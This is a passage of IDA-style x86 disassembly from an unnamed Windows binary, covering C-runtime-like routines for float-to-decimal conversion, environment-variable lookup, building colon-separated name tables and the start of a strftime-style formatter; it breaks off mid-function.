mov ecx, [ebp+arg_4]
mov [ebp+var_24], ecx
mov edx, [ebp+arg_0]
mov [ebp+var_48], edx
mov eax, [ebp+var_70]
and eax, 0FFFFh
and eax, 8000h
mov word ptr [ebp+var_68], ax
mov cx, word ptr [ebp+var_70]
and cx, 7FFFh
mov word ptr [ebp+var_70], cx
mov edx, [ebp+var_68]
and edx, 0FFFFh
test edx, edx
jz short loc_431EFE
mov eax, [ebp+arg_14]
mov byte ptr [eax+2], 2Dh
jmp short loc_431F05
; ---------------------------------------------------------------------------
loc_431EFE: ; CODE XREF: sub_431E60+93j
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+2], 20h
loc_431F05: ; CODE XREF: sub_431E60+9Cj
mov edx, [ebp+var_70]
and edx, 0FFFFh
test edx, edx
jnz short loc_431F4C
cmp [ebp+var_24], 0
jnz short loc_431F4C
cmp [ebp+var_48], 0
jnz short loc_431F4C
mov eax, [ebp+arg_14]
mov word ptr [eax], 0
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+2], 20h
mov edx, [ebp+arg_14]
mov byte ptr [edx+3], 1
mov eax, [ebp+arg_14]
mov byte ptr [eax+4], 30h
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+5], 0
mov eax, 1
jmp loc_432372
; ---------------------------------------------------------------------------
loc_431F4C: ; CODE XREF: sub_431E60+B0j
; sub_431E60+B6j ...
mov edx, [ebp+var_70]
and edx, 0FFFFh
cmp edx, 7FFFh
jnz loc_432046
mov eax, [ebp+arg_14]
mov word ptr [eax], 1
cmp [ebp+var_24], 80000000h
jnz short loc_431F78
cmp [ebp+var_48], 0
jz short loc_431FAC
loc_431F78: ; CODE XREF: sub_431E60+110j
mov ecx, [ebp+var_24]
and ecx, 40000000h
test ecx, ecx
jnz short loc_431FAC
push offset dword_438DA8
mov edx, [ebp+arg_14]
add edx, 4
push edx
call sub_41C300
add esp, 8
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 6
mov [ebp+var_58], 0
jmp loc_432041
; ---------------------------------------------------------------------------
loc_431FAC: ; CODE XREF: sub_431E60+116j
; sub_431E60+123j
mov ecx, [ebp+var_68]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_431FEC
cmp [ebp+var_24], 0C0000000h
jnz short loc_431FEC
cmp [ebp+var_48], 0
jnz short loc_431FEC
push offset dword_438DA0
mov edx, [ebp+arg_14]
add edx, 4
push edx
call sub_41C300
add esp, 8
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 5
mov [ebp+var_58], 0
jmp short loc_432041
; ---------------------------------------------------------------------------
loc_431FEC: ; CODE XREF: sub_431E60+157j
; sub_431E60+160j ...
cmp [ebp+var_24], 80000000h
jnz short loc_43201F
cmp [ebp+var_48], 0
jnz short loc_43201F
push offset dword_438D98
mov ecx, [ebp+arg_14]
add ecx, 4
push ecx
call sub_41C300
add esp, 8
mov edx, [ebp+arg_14]
mov byte ptr [edx+3], 5
mov [ebp+var_58], 0
jmp short loc_432041
; ---------------------------------------------------------------------------
loc_43201F: ; CODE XREF: sub_431E60+193j
; sub_431E60+199j
push offset dword_438D90
mov eax, [ebp+arg_14]
add eax, 4
push eax
call sub_41C300
add esp, 8
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+3], 6
mov [ebp+var_58], 0
loc_432041: ; CODE XREF: sub_431E60+147j
; sub_431E60+18Aj ...
jmp loc_43236F
; ---------------------------------------------------------------------------
loc_432046: ; CODE XREF: sub_431E60+FBj
mov edx, [ebp+var_70]
and edx, 0FFFFh
sar edx, 8
mov word ptr [ebp+var_6C], dx
mov eax, [ebp+var_70]
and eax, 0FFFFh
and eax, 0FFh
mov [ebp+var_C], ax
mov ecx, [ebp+var_24]
shr ecx, 18h
mov word ptr [ebp+var_40], cx
mov edx, [ebp+var_64]
and edx, 0FFFFh
mov eax, [ebp+var_70]
and eax, 0FFFFh
imul edx, eax
mov ecx, [ebp+var_3C]
and ecx, 0FFFFh
mov eax, [ebp+var_6C]
and eax, 0FFFFh
imul ecx, eax
add edx, ecx
mov ecx, [ebp+var_60]
and ecx, 0FFFFh
mov eax, [ebp+var_40]
and eax, 0FFFFh
imul ecx, eax
add edx, ecx
sub edx, [ebp+var_20]
mov [ebp+var_8], edx
mov ecx, [ebp+var_8]
sar ecx, 10h
mov [ebp+var_5C], cx
mov dx, word ptr [ebp+var_70]
mov word ptr [ebp+var_2E], dx
mov eax, [ebp+var_24]
mov [ebp+var_32], eax
mov ecx, [ebp+var_48]
mov [ebp+var_38+2], ecx
mov word ptr [ebp+var_38], 0
push 1
movsx edx, [ebp+var_5C]
neg edx
push edx
lea eax, [ebp+var_38]
push eax
call sub_4344A0
add esp, 0Ch
mov ecx, [ebp+var_2E]
and ecx, 0FFFFh
cmp ecx, 3FFFh
jl short loc_43211D
mov dx, [ebp+var_5C]
add dx, 1
mov [ebp+var_5C], dx
lea eax, [ebp+var_54]
push eax
lea ecx, [ebp+var_38]
push ecx
call sub_434060
add esp, 8
loc_43211D: ; CODE XREF: sub_431E60+29Fj
mov edx, [ebp+arg_14]
mov ax, [ebp+var_5C]
mov [edx], ax
mov ecx, [ebp+arg_10]
and ecx, 1
test ecx, ecx
jz short loc_432171
movsx edx, [ebp+var_5C]
mov eax, [ebp+arg_C]
add eax, edx
mov [ebp+arg_C], eax
cmp [ebp+arg_C], 0
jg short loc_432171
mov ecx, [ebp+arg_14]
mov word ptr [ecx], 0
mov edx, [ebp+arg_14]
mov byte ptr [edx+2], 20h
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 1
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+4], 30h
mov edx, [ebp+arg_14]
mov byte ptr [edx+5], 0
mov eax, 1
jmp loc_432372
; ---------------------------------------------------------------------------
loc_432171: ; CODE XREF: sub_431E60+2CFj
; sub_431E60+2E1j
cmp [ebp+arg_C], 15h
jle short loc_43217E
mov [ebp+arg_C], 15h
loc_43217E: ; CODE XREF: sub_431E60+315j
mov eax, [ebp+var_2E]
and eax, 0FFFFh
sub eax, 3FFEh
mov [ebp+var_2E+2], eax
mov word ptr [ebp+var_2E], 0
mov [ebp+var_44], 0
jmp short loc_4321A6
; ---------------------------------------------------------------------------
loc_43219D: ; CODE XREF: sub_431E60+358j
mov ecx, [ebp+var_44]
add ecx, 1
mov [ebp+var_44], ecx
loc_4321A6: ; CODE XREF: sub_431E60+33Bj
cmp [ebp+var_44], 8
jge short loc_4321BA
lea edx, [ebp+var_38]
push edx
call sub_4310D0
add esp, 4
jmp short loc_43219D
; ---------------------------------------------------------------------------
loc_4321BA: ; CODE XREF: sub_431E60+34Aj
cmp [ebp+var_2E+2], 0
jge short loc_4321EC
mov eax, [ebp+var_2E+2]
neg eax
and eax, 0FFh
mov [ebp+var_74], eax
jmp short loc_4321D8
; ---------------------------------------------------------------------------
loc_4321CF: ; CODE XREF: sub_431E60+38Aj
mov ecx, [ebp+var_74]
sub ecx, 1
mov [ebp+var_74], ecx
loc_4321D8: ; CODE XREF: sub_431E60+36Dj
cmp [ebp+var_74], 0
jle short loc_4321EC
lea edx, [ebp+var_38]
push edx
call sub_431130
add esp, 4
jmp short loc_4321CF
; ---------------------------------------------------------------------------
loc_4321EC: ; CODE XREF: sub_431E60+35Ej
; sub_431E60+37Cj
mov eax, [ebp+arg_14]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_C]
add ecx, 1
mov [ebp+var_10], ecx
jmp short loc_432209
; ---------------------------------------------------------------------------
loc_432200: ; CODE XREF: sub_431E60+413j
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
loc_432209: ; CODE XREF: sub_431E60+39Ej
cmp [ebp+var_10], 0
jle short loc_432275
mov eax, [ebp+var_38]
mov [ebp+var_1C], eax
mov ecx, [ebp-34h]
mov [ebp+var_18], ecx
mov edx, [ebp+var_32+2]
mov [ebp+var_14], edx
lea eax, [ebp+var_38]
push eax
call sub_4310D0
add esp, 4
lea ecx, [ebp+var_38]
push ecx
call sub_4310D0
add esp, 4
lea edx, [ebp+var_1C]
push edx
lea eax, [ebp+var_38]
push eax
call sub_431020
add esp, 8
lea ecx, [ebp+var_38]
push ecx
call sub_4310D0
add esp, 4
mov edx, [ebp+var_2E+1]
and edx, 0FFh
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov byte ptr [ebp+var_2E+1], 0
jmp short loc_432200
; ---------------------------------------------------------------------------
loc_432275: ; CODE XREF: sub_431E60+3ADj
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
mov [ebp+var_28], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
movsx eax, [ebp+var_28]
cmp eax, 35h
jl short loc_4322F3
jmp short loc_4322A3
; ---------------------------------------------------------------------------
loc_43229A: ; CODE XREF: sub_431E60+45Fj
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_4322A3: ; CODE XREF: sub_431E60+438j
mov edx, [ebp+arg_14]
add edx, 4
cmp [ebp+var_4], edx
jb short loc_4322C1
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 39h
jnz short loc_4322C1
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
jmp short loc_43229A
; ---------------------------------------------------------------------------
loc_4322C1: ; CODE XREF: sub_431E60+44Cj
; sub_431E60+457j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jnb short loc_4322E5
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_14]
mov ax, [edx]
add ax, 1
mov ecx, [ebp+arg_14]
mov [ecx], ax
loc_4322E5: ; CODE XREF: sub_431E60+46Aj
mov edx, [ebp+var_4]
mov al, [edx]
add al, 1
mov ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_43234C
; ---------------------------------------------------------------------------
loc_4322F3: ; CODE XREF: sub_431E60+436j
jmp short loc_4322FE
; ---------------------------------------------------------------------------
loc_4322F5: ; CODE XREF: sub_431E60+4B4j
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_4322FE: ; CODE XREF: sub_431E60:loc_4322F3j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jb short loc_432316
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 30h
jnz short loc_432316
jmp short loc_4322F5
; ---------------------------------------------------------------------------
loc_432316: ; CODE XREF: sub_431E60+4A7j
; sub_431E60+4B2j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jnb short loc_43234C
mov ecx, [ebp+arg_14]
mov word ptr [ecx], 0
mov edx, [ebp+arg_14]
mov byte ptr [edx+2], 20h
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 1
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+4], 30h
mov edx, [ebp+arg_14]
mov byte ptr [edx+5], 0
mov eax, 1
jmp short loc_432372
; ---------------------------------------------------------------------------
loc_43234C: ; CODE XREF: sub_431E60+491j
; sub_431E60+4BFj
mov eax, [ebp+arg_14]
add eax, 4
mov ecx, [ebp+var_4]
sub ecx, eax
add ecx, 1
mov edx, [ebp+arg_14]
mov [edx+3], cl
mov eax, [ebp+arg_14]
movsx ecx, byte ptr [eax+3]
mov edx, [ebp+arg_14]
mov byte ptr [edx+ecx+4], 0
loc_43236F: ; CODE XREF: sub_431E60:loc_432041j
mov eax, [ebp+var_58]
loc_432372: ; CODE XREF: sub_431E60+E7j
; sub_431E60+30Cj ...
mov esp, ebp
pop ebp
retn
sub_431E60 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 0Ch
call sub_41FB40
add esp, 4
mov eax, [ebp+8]
push eax
call sub_4323B0
add esp, 4
mov [ebp-4], eax
push 0Ch
call sub_41FBE0
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4323B0 proc near ; CODE XREF: sub_42DF80+3Ap
; .nsp0:00432392p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword_4EF898
mov [ebp+var_8], eax
cmp dword_4F0FA8, 0
jnz short loc_4323CE
xor eax, eax
jmp loc_432472
; ---------------------------------------------------------------------------
loc_4323CE: ; CODE XREF: sub_4323B0+15j
cmp [ebp+var_8], 0
jnz short loc_4323F6
cmp dword_4EF8A0, 0
jz short loc_4323F6
call sub_4345C0
test eax, eax
jz short loc_4323ED
xor eax, eax
jmp loc_432472
; ---------------------------------------------------------------------------
loc_4323ED: ; CODE XREF: sub_4323B0+34j
mov ecx, dword_4EF898
mov [ebp+var_8], ecx
loc_4323F6: ; CODE XREF: sub_4323B0+22j
; sub_4323B0+2Bj
cmp [ebp+var_8], 0
jz short loc_432470
cmp [ebp+arg_0], 0
jz short loc_432470
mov edx, [ebp+arg_0]
push edx
call sub_418D00
add esp, 4
mov [ebp+var_4], eax
loc_432411: ; CODE XREF: sub_4323B0+BEj
mov eax, [ebp+var_8]
cmp dword ptr [eax], 0
jz short loc_432470
mov ecx, [ebp+var_8]
mov edx, [ecx]
push edx
call sub_418D00
add esp, 4
cmp eax, [ebp+var_4]
jbe short loc_432465
mov eax, [ebp+var_8]
mov ecx, [eax]
mov edx, [ebp+var_4]
movsx eax, byte ptr [ecx+edx]
cmp eax, 3Dh
jnz short loc_432465
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax]
push ecx
call sub_434570
add esp, 0Ch
test eax, eax
jnz short loc_432465
mov edx, [ebp+var_8]
mov eax, [edx]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx+1]
jmp short loc_432472
; ---------------------------------------------------------------------------
loc_432465: ; CODE XREF: sub_4323B0+7Aj
; sub_4323B0+8Bj ...
mov edx, [ebp+var_8]
add edx, 4
mov [ebp+var_8], edx
jmp short loc_432411
; ---------------------------------------------------------------------------
loc_432470: ; CODE XREF: sub_4323B0+4Aj
; sub_4323B0+50j ...
xor eax, eax
loc_432472: ; CODE XREF: sub_4323B0+19j
; sub_4323B0+38j ...
mov esp, ebp
pop ebp
retn
sub_4323B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov eax, off_4525E8
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_4324A8
; ---------------------------------------------------------------------------
loc_43249F: ; CODE XREF: .nsp0:004324DFj
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_4324A8: ; CODE XREF: .nsp0:0043249Dj
cmp dword ptr [ebp-10h], 7
jnb short loc_4324E1
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
call sub_418D00
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+1Ch]
push ecx
call sub_418D00
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_43249F
; ---------------------------------------------------------------------------
loc_4324E1: ; CODE XREF: .nsp0:004324ACj
mov eax, [ebp-8]
add eax, 1
push eax
call sub_418ED0
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_432599
mov ecx, [ebp-4]
mov [ebp-14h], ecx
mov dword ptr [ebp-10h], 0
jmp short loc_432515
; ---------------------------------------------------------------------------
loc_43250C: ; CODE XREF: .nsp0:00432588j
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_432515: ; CODE XREF: .nsp0:0043250Aj
cmp dword ptr [ebp-10h], 7
jnb short loc_43258A
mov eax, [ebp-14h]
mov byte ptr [eax], 3Ah
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp-14h]
push edx
call sub_41C300
add esp, 8
push eax
call sub_418D00
add esp, 4
mov ecx, [ebp-14h]
add ecx, eax
mov [ebp-14h], ecx
mov edx, [ebp-14h]
mov byte ptr [edx], 3Ah
mov eax, [ebp-14h]
add eax, 1
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+1Ch]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41C300
add esp, 8
push eax
call sub_418D00
add esp, 4
mov edx, [ebp-14h]
add edx, eax
mov [ebp-14h], edx
jmp short loc_43250C
; ---------------------------------------------------------------------------
loc_43258A: ; CODE XREF: .nsp0:00432519j
mov eax, [ebp-14h]
mov byte ptr [eax], 0
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
loc_432599: ; CODE XREF: .nsp0:004324F7j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov eax, off_4525E8
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_4325D8
; ---------------------------------------------------------------------------
loc_4325CF: ; CODE XREF: .nsp0:00432610j
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_4325D8: ; CODE XREF: .nsp0:004325CDj
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_432612
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+38h]
push ecx
call sub_418D00
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+68h]
push ecx
call sub_418D00
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_4325CF
; ---------------------------------------------------------------------------
loc_432612: ; CODE XREF: .nsp0:004325DCj
mov eax, [ebp-8]
add eax, 1
push eax
call sub_418ED0
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_4326CB
mov ecx, [ebp-4]
mov [ebp-14h], ecx
mov dword ptr [ebp-10h], 0
jmp short loc_432646
; ---------------------------------------------------------------------------
loc_43263D: ; CODE XREF: .nsp0:004326BAj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_432646: ; CODE XREF: .nsp0:0043263Bj
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_4326BC
mov eax, [ebp-14h]
mov byte ptr [eax], 3Ah
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+38h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_41C300
add esp, 8
push eax
call sub_418D00
add esp, 4
mov ecx, [ebp-14h]
add ecx, eax
mov [ebp-14h], ecx
mov edx, [ebp-14h]
mov byte ptr [edx], 3Ah
mov eax, [ebp-14h]
add eax, 1
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41C300
add esp, 8
push eax
call sub_418D00
add esp, 4
mov edx, [ebp-14h]
add edx, eax
mov [ebp-14h], edx
jmp short loc_43263D
; ---------------------------------------------------------------------------
loc_4326BC: ; CODE XREF: .nsp0:0043264Aj
mov eax, [ebp-14h]
mov byte ptr [eax], 0
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
loc_4326CB: ; CODE XREF: .nsp0:00432628j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, off_4525E8
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_432708
; ---------------------------------------------------------------------------
loc_4326FF: ; CODE XREF: .nsp0:0043273Fj
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_432708: ; CODE XREF: .nsp0:004326FDj
cmp dword ptr [ebp-10h], 7
jnb short loc_432741
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
call sub_418D00
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+1Ch]
push ecx
call sub_418D00
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_4326FF
; ---------------------------------------------------------------------------
loc_432741: ; CODE XREF: .nsp0:0043270Cj
mov dword ptr [ebp-10h], 0
jmp short loc_432753
; ---------------------------------------------------------------------------
loc_43274A: ; CODE XREF: .nsp0:0043278Bj
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_432753: ; CODE XREF: .nsp0:00432748j
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_43278D
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+38h]
push eax
call sub_418D00
add esp, 4
mov esi, eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
call sub_418D00
add esp, 4
add eax, [ebp-8]
lea ecx, [eax+esi+2]
mov [ebp-8], ecx
jmp short loc_43274A
; ---------------------------------------------------------------------------
loc_43278D: ; CODE XREF: .nsp0:00432757j
mov edx, [ebp-0Ch]
mov eax, [edx+98h]
push eax
call sub_418D00
add esp, 4
mov esi, eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+9Ch]
push edx
call sub_418D00
add esp, 4
add eax, [ebp-8]
lea eax, [eax+esi+2]
mov [ebp-8], eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+0A0h]
push edx
call sub_418D00
add esp, 4
mov ecx, [ebp-8]
lea edx, [ecx+eax+1]
mov [ebp-8], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+0A4h]
push ecx
call sub_418D00
add esp, 4
mov edx, [ebp-8]
lea eax, [edx+eax+1]
mov [ebp-8], eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+0A8h]
push edx
call sub_418D00
add esp, 4
mov ecx, [ebp-8]
lea edx, [ecx+eax+1]
mov [ebp-8], edx
mov eax, [ebp-8]
add eax, 0ACh
push eax
call sub_418ED0
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_432A46
mov ecx, [ebp-4]
mov [ebp-18h], ecx
mov edx, [ebp-4]
add edx, 0ACh
mov [ebp-14h], edx
push 0ACh
mov eax, off_4525E8
push eax
mov ecx, [ebp-4]
push ecx
call near ptr sub_41C8D0
add esp, 0Ch
mov dword ptr [ebp-10h], 0
jmp short loc_43286A
; ---------------------------------------------------------------------------
loc_432861: ; CODE XREF: .nsp0:004328DCj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_43286A: ; CODE XREF: .nsp0:0043285Fj
cmp dword ptr [ebp-10h], 7
jnb short loc_4328DE
mov eax, [ebp-10h]
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+eax*4], edx
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ecx+eax*4]
push edx
mov eax, [ebp-14h]
push eax
call sub_41C300
add esp, 8
push eax
call sub_418D00
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-10h]
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+eax*4+1Ch], edx
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ecx+eax*4+1Ch]
push edx
mov eax, [ebp-14h]
push eax
call sub_41C300
add esp, 8
push eax
call sub_418D00
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
jmp short loc_432861
; ---------------------------------------------------------------------------
loc_4328DE: ; CODE XREF: .nsp0:0043286Ej
mov dword ptr [ebp-10h], 0
jmp short loc_4328F0
; ---------------------------------------------------------------------------
loc_4328E7: ; CODE XREF: .nsp0:00432964j
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_4328F0: ; CODE XREF: .nsp0:004328E5j
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_432966
mov ecx, [ebp-10h]
mov edx, [ebp-18h]
mov eax, [ebp-14h]
mov [edx+ecx*4+38h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+38h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41C300
add esp, 8
push eax
call sub_418D00
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-18h]
mov eax, [ebp-14h]
mov [edx+ecx*4+68h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41C300
add esp, 8
push eax
call sub_418D00
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
jmp short loc_4328E7
; ---------------------------------------------------------------------------
loc_432966: ; CODE XREF: .nsp0:004328F4j
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+98h], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+98h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_41C300
add esp, 8
push eax
call sub_418D00
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-18h]
mov ecx, [ebp-14h]
mov [eax+9Ch], ecx
mov edx, [ebp-0Ch]
mov eax, [edx+9Ch]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41C300
add esp, 8
push eax
call sub_418D00
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+0A0h], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+0A0h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_41C300
add esp, 8
push eax
call sub_418D00
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-18h]
mov ecx, [ebp-14h]
mov [eax+0A4h], ecx
mov edx, [ebp-0Ch]
mov eax, [edx+0A4h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_41C300
add esp, 8
push eax
call sub_418D00
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+0A8h], edx
loc_432A46: ; CODE XREF: .nsp0:00432829j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_432A70
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432A70 proc near ; CODE XREF: .nsp0:00432A65p
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_10], 0
jnz short loc_432A86
mov eax, off_4525E8
mov [ebp+var_10], eax
jmp short loc_432A8C
; ---------------------------------------------------------------------------
loc_432A86: ; CODE XREF: sub_432A70+Aj
mov ecx, [ebp+arg_10]
mov [ebp+var_10], ecx
loc_432A8C: ; CODE XREF: sub_432A70+14j
mov edx, [ebp+var_10]
mov [ebp+var_4], edx
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
push offset dword_4EFD48
call dword_4F1454 ; InterlockedIncrement
cmp dword_4EFD44, 0
jz short loc_432ACA
push offset dword_4EFD48
call dword_4F1450 ; InterlockedDecrement
push 13h
call sub_41FB40
add esp, 4
mov [ebp+var_8], 1
jmp short loc_432AD1
; ---------------------------------------------------------------------------
loc_432ACA: ; CODE XREF: sub_432A70+3Aj
mov [ebp+var_8], 0
loc_432AD1: ; CODE XREF: sub_432A70+58j
; sub_432A70:loc_432BBDj
cmp [ebp+var_C], 0
jbe loc_432BC2
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [ebp+var_14], dl
cmp [ebp+var_14], 0
jz short loc_432AF1
cmp [ebp+var_14], 25h
jz short loc_432AF6
jmp short loc_432B50
; ---------------------------------------------------------------------------
loc_432AF1: ; CODE XREF: sub_432A70+77j
jmp loc_432BC2
; ---------------------------------------------------------------------------
loc_432AF6: ; CODE XREF: sub_432A70+7Dj
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
mov dword_4EFC1C, 0
mov ecx, [ebp+arg_8]
movsx edx, byte ptr [ecx]
cmp edx, 23h
jnz short loc_432B27
mov dword_4EFC1C, 1
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_432B27: ; CODE XREF: sub_432A70+A2j
mov ecx, [ebp+var_4]
